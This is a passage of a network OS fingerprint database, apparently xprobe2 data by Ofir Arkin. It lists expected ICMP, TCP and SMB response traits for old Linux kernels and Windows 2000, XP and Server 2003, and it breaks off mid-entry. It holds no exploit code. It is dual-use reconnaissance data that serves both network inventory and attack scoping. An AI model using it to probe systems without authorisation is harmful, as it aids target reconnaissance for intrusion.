Ofir Arkin (ofir@sys-security.com) #Date: 13 July 2003 #Modified: 13 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 32120 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.2.1" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 13 July 2003 #Modified: 13 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 32120 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.2.0" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 13 July 2003 #Modified: 13 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <255 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <255 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <255 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <255 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <255 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 32120 tcp_syn_ack_options_order = "MSS SACK TIMESTAMP NOP WSCALE" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = !0 tcp_syn_ack_tsecr = !0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.0.36" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 12 July 2003 #Modified: 12 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <64 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 32736 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.0.34" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 12 July 2003 #Modified: 12 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <64 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 32736 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <255 } fingerprint { OS_ID = "Linux Kernel 2.0.30" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 12 July 2003 #Modified: 12 July 2003 #Module A [ICMP ECHO Probe] icmp_echo_reply = y icmp_echo_code = !0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = !0 icmp_echo_df_bit = 0 icmp_echo_reply_ttl = <64 #Module B [ICMP Timestamp Probe] icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <64 icmp_timestamp_reply_ip_id = !0 #Module C [ICMP Address Mask Request Probe] icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <64 icmp_addrmask_reply_ip_id = !0 #Module D [ICMP Information Request Probe] icmp_info_reply = n icmp_info_reply_ttl = <64 icmp_info_reply_ip_id = !0 #Module E [UDP -> ICMP Unreachable probe] #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <64 icmp_unreach_precedence_bits = 0xc0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 0 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <64 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 32736 tcp_syn_ack_options_order = "MSS" tcp_syn_ack_wscale = NONE tcp_syn_ack_tsval = NONE tcp_syn_ack_tsecr = NONE #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <255 } #Microsoft fingerprint { OS_ID = "Microsoft Windows 2003 Server Enterprise Edition" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 14 July 2003 #Modified: 14 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = 0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = < 128 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <128 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <128 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <128 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <128 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <128 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 65535,64240,17520 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP NOP NOP SACK" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = 0 tcp_syn_ack_tsecr = 0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <128 smb_lanman = Windows Server 2003 5.2 smb_nativeos = Windows Server 2003 3790 } fingerprint { OS_ID = "Microsoft Windows 2003 Server Standard Edition" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 14 July 2003 #Modified: 14 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = 0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = < 128 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <128 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <128 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <128 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <128 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <128 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 65535,64240,17520 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP NOP NOP SACK" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = 0 tcp_syn_ack_tsecr = 0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <128 smb_lanman = Windows Server 2003 5.2 smb_nativeos = Windows Server 2003 3790 } fingerprint { OS_ID = "Microsoft Windows XP SP2" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 13 December 2004 #Modified: - #Module A icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = 0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = < 128 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <128 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <128 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <128 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_dtsize = >64 icmp_unreach_reply_ttl = <128 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <128 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 65535 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP NOP NOP SACK" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = 0 tcp_syn_ack_tsecr = 0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <128 smb_lanman = Windows 2000 LAN Manager smb_nativeos = Windows 5.1 } fingerprint { OS_ID = "Microsoft Windows XP SP1" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 19 December 2004 #Modified: #Module A icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = 0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = < 128 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <128 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <128 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <128 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <128 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <128 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 64240,17520 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP NOP NOP SACK" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = 0 tcp_syn_ack_tsecr = 0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <128 smb_lanman = Windows 2000 LAN Manager smb_nativeos = Windows 5.1 } fingerprint { OS_ID = "Microsoft Windows XP" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 19 December 2004 #Modified: #Module A icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = 0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = < 128 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <128 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <128 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <128 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <128 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <128 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 64240,17520 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP NOP NOP SACK" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = 0 tcp_syn_ack_tsecr = 0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <128 smb_lanman = Windows 2000 LAN Manager smb_nativeos = Windows 5.1 } fingerprint { OS_ID = "Microsoft Windows 2000 Server Service Pack 4" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 02 July 2003 #Modified: 02 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = 0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = < 128 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <128 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <128 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <128 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <128 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <128 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 65535,64240,17520 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP NOP NOP SACK" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = 0 tcp_syn_ack_tsecr = 0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <128 smb_lanman = Windows 2000 LAN Manager smb_nativeos = Windows 5.0 } fingerprint { OS_ID = "Microsoft Windows 2000 Server Service Pack 3" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 20 March 2003 #Modified: 02 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = 0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = < 128 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <128 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <128 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <128 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <128 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <128 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 64240,17520 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP NOP NOP SACK" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = 0 tcp_syn_ack_tsecr = 0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <128 smb_lanman = Windows 2000 LAN Manager smb_nativeos = Windows 5.0 } fingerprint { OS_ID = "Microsoft Windows 2000 Server Service Pack 2" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 20 July 2002 #Modified: 02 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = 0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = < 128 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <128 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <128 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <128 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <128 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <128 #Information from the TCP header tcp_syn_ack_ack = 1 tcp_syn_ack_window_size = 17520 tcp_syn_ack_options_order = "MSS NOP WSCALE NOP NOP TIMESTAMP NOP NOP SACK" tcp_syn_ack_wscale = 0 tcp_syn_ack_tsval = 0 tcp_syn_ack_tsecr = 0 #Module G [TCP RST|ACK] tcp_rst_reply = y tcp_rst_df = 0 tcp_rst_ip_id_1 = !0 tcp_rst_ip_id_2 = !0 tcp_rst_ip_id_strategy = I tcp_rst_ttl = <128 smb_lanman = Windows 2000 LAN Manager smb_nativeos = Windows 5.0 } fingerprint { OS_ID = "Microsoft Windows 2000 Server Service Pack 1" #Entry inserted to the database by: Ofir Arkin (ofir@sys-security.com) #Entry contributed by: Ofir Arkin (ofir@sys-security.com) #Date: 20 July 2002 #Modified: 02 July 2003 #Module A icmp_echo_reply = y icmp_echo_code = 0 icmp_echo_ip_id = !0 icmp_echo_tos_bits = 0 icmp_echo_df_bit = 1 icmp_echo_reply_ttl = < 128 #Module B icmp_timestamp_reply = y icmp_timestamp_reply_ttl = <128 icmp_timestamp_reply_ip_id = !0 #Module C icmp_addrmask_reply = n icmp_addrmask_reply_ttl = <128 icmp_addrmask_reply_ip_id = !0 #Module D icmp_info_reply = n icmp_info_reply_ttl = <128 icmp_info_reply_ip_id = !0 #Module E #IP_Header_of_the_UDP_Port_Unreachable_error_message icmp_unreach_reply = y icmp_unreach_echoed_dtsize = 8 icmp_unreach_reply_ttl = <128 icmp_unreach_precedence_bits = 0 icmp_unreach_df_bit = 0 icmp_unreach_ip_id = !0 #Original_data_echoed_with_the_UDP_Port_Unreachable_error_message icmp_unreach_echoed_udp_cksum = OK icmp_unreach_echoed_ip_cksum = OK icmp_unreach_echoed_ip_id = OK icmp_unreach_echoed_total_len = OK icmp_unreach_echoed_3bit_flags = OK #Module F [TCP SYN | ACK Module] #IP header of the TCP SYN | ACK tcp_syn_ack_tos = 0 tcp_syn_ack_df = 1 tcp_syn_ack_ip_id = !0 tcp_syn_ack_ttl = <128 #Information from the TCP header tcp_syn_ack_ack 